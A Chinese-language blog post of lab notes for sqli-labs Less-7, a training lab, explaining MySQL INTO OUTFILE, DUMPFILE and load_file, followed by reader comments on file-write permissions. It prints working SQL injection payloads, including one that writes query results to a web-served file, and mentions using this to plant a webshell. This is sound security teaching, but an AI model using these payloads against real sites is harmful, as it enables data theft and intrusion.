Sqli-labs 实验笔记之Less-7

零、前言

通过前面的学习读者应该大致已经了解了SQL注入的基本分析过程,从注入的判断到注入语句的构造已经有了一定的掌握。这节课我们看一个特殊的函数—-outfile,我们将讲解与outfile相关的一些函数的用法已经在注入中所起到的作用。

一、outfile函数

MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。其基本的语法格式如下:

SELECT [列名] FROM table [WHERE 语句]
   INTO OUTFILE '目标文件' [OPTION];

dumpfile:将表的内容导出为一个文本文件(一次导出一行)
load_file:将数据导入mysql

我们进入到Mysql,现在后台测试一下几个要用到的函数,我们进入security数据库


查看users表

使用outfile函数将查询结果导入到文件当中

Select * from users into outfile ‘filepath/filename’

执行结果,在桌面生成了1.txt文件,里面包含了users表的内容

使用dumpfile函数逐行读取

Select * from limit 0,1 users into dumpfile “filepath/filename”

执行结果,在桌面生成了2.txt文件,里面包含了users表第一个记录

接下来是一个文件导入函数,load_file(),他可以将数据导入mysql

Select load_file(“filepath/filename”)

结合这几个函数,我们可以构造非常有趣的语句

Select load_file(“filepath/filename”) into outfile(“filepath/filename”)

执行结果,在桌面生成了3.txt文件,它与1.txt内容相同

二、注入测试

0x00 后台SQL语句分析

单引号测试

双引号测试

我们看到单引号出现错误,但错误不再是一个具体的错误信息,而是一句“You are in…. Use outfile……”提示。这其实是一种常见的错误处理方式,用统一的提示信息替代具体错误,既给普通的用户更好的体验,又避免让非法用户获得一些敏感内容。但是我们依然可以根据我们的判断做一些初步的检测,例如单引号测试出错我们就可以猜测id是一个单引号包裹的字符类型,根据以往的经验我们也可以加一些括号测试:

可以返回成功的注入有   ')) –+  

我们可以这样构造攻击语句  ')) 攻击代码–+ 

0x01 注入测试

现在,我们尝试构造我们的攻击代码,进行前段测试

确定字段数

1’)) order by n --+

注入语句

')) union Select 1,2,3 into outfile "C:/www/sqli/less-7/2.txt"--+

访问http://192.168.219.129/sqli/Less-7/2.txt

11 admin3 admin31 2 3

2.txt成功被写入,输出users表中的最后一个记录

同理我们可以做更多的测试,写入更多的敏感信息。这几种做法很重要一个作用的就是可以通过操作数据库向web站点写入木马。

Sqli-labs 实验笔记之Less-7》上有 3 条评论

  1. X&P

    在LAMP环境,会出现权限额问题:把index.php的print_r(mysql_error())取消注释,在html中报错:Can’t create/write to file ‘/var/www/html/te1.txt’ (Errcode: 13)。不知道该如何提升Apache当前用户的权限呢。Xman能否帮忙看看呀?

    回复
    1. Xman 文章作者

      不是很清楚,也许和mysql或者文件夹权限有关呢,先在mysql中单独执行sql语句试试,可以看看这个链接http://www.linuxidc.com/Linux/2012-02/55533.htm

      回复
      1. shaobao

        最近也在刷sqli-lib,这个和mysql的配置有关系。在my.ini中有一个sercure的设置。需要把它注释掉。实际上在很多实际的场景中都不会给你读取文件的权限,因为从某种程度上来说,这可真是太危险了。所以这个语句并不是很用得上,起码自己在自己做过的题目中

        回复

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*